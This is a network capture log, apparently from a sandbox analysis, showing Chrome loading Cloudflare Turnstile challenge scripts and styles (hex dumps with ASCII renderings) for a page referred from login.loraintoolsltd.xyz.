kr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){retu
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 49 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 22 3a 22 66 62 45 22 3b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 73 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 70 2c 22 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 Data Ascii: o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,g,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",I=a["feedback-enabled"]===!1?"fbD":"fbE";return"".concat(s,"/cdn-cgi/challenge-platform/").concat(p,"turnstile/if/ov
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 29 7b 69 66 28 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 3d 3d 22 75 6e 64 65 66 69 6e 65 Data Ascii: if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&te(e,t)}function ze(){if(typeof Reflect=="undefine
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 71 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 7a 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 73 72 28 74 68 69 73 2c 63 29 7d 7d 76 61 72 20 66 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 75 72 28 61 2c 65 29 3b 76 61 72 20 74 3d 64 72 28 61 29 3b Data Ascii: eof t=="function")?t:qe(e)}function dr(e){var t=ze();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,arguments);return sr(this,c)}}var fr=function(e){"use strict";ur(a,e);var t=dr(a);
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 6c 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b 74 2e 77 72 61 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 6d 28 22 43 61 6e 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 20 57 69 64 67 65 74 2c 20 45 6c 65 6d 65 6e 74 20 6e 6f 74 20 66 6f 75 6e 64 20 28 23 22 2e 63 6f 6e 63 61 74 28 Data Ascii: -cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((l=t.params.theme)!==null&&l!==void 0?l:t.theme,"/").concat(a);t.wrapper.parentNode\|\|m("Cannot initialize Widget, Element not found (#".concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49750	104.18.95.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:47 UTC	808	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:47 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26768 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-22 05:33:47 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 35 64 32 62 64 34 65 39 32 63 37 32 38 30 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 905d2bd4e92c7280-EWRalt-svc: h3=":443"; ma=86400
2025-01-22 05:33:47 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	104.18.94.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:47 UTC	383	OUT	GET /turnstile/v0/g/672eb098a9f3/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:47 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:47 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48121 Connection: close accept-ranges: bytes last-modified: Wed, 15 Jan 2025 14:50:44 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 905d2bd4d85443e2-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Bt(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 7a 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 61 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 61 3d 61 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 74 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 74 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function zt(e,t){var a=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(a!=null){var o=[],c=!0,l=!1,g,h;try{for(a=a.call(e);!(c=(g=a.next()).done)&&(o.push(g.value),!(t&&o.length===t));c=!0)
2025-01-22 05:33:47 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 6c 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 6c 3d 63 2e 72 65 74 75 72 6e 29 26 26 6c 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 6c 3d 6c 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6c 3b 73 77 69 74 63 68 28 63 3d 30 2c 6c 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 6c 2e 76 61 6c Data Ascii: ])}}function s(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(a=0)),a;)try{if(o=1,c&&(l=p[0]&2?c.return:p[0]?c.throw\|\|((l=c.return)&&l.call(c),0):c.next)&&!(l=l.call(c,p[1])).done)return l;switch(c=0,l&&(p=[p[0]&2,l.val
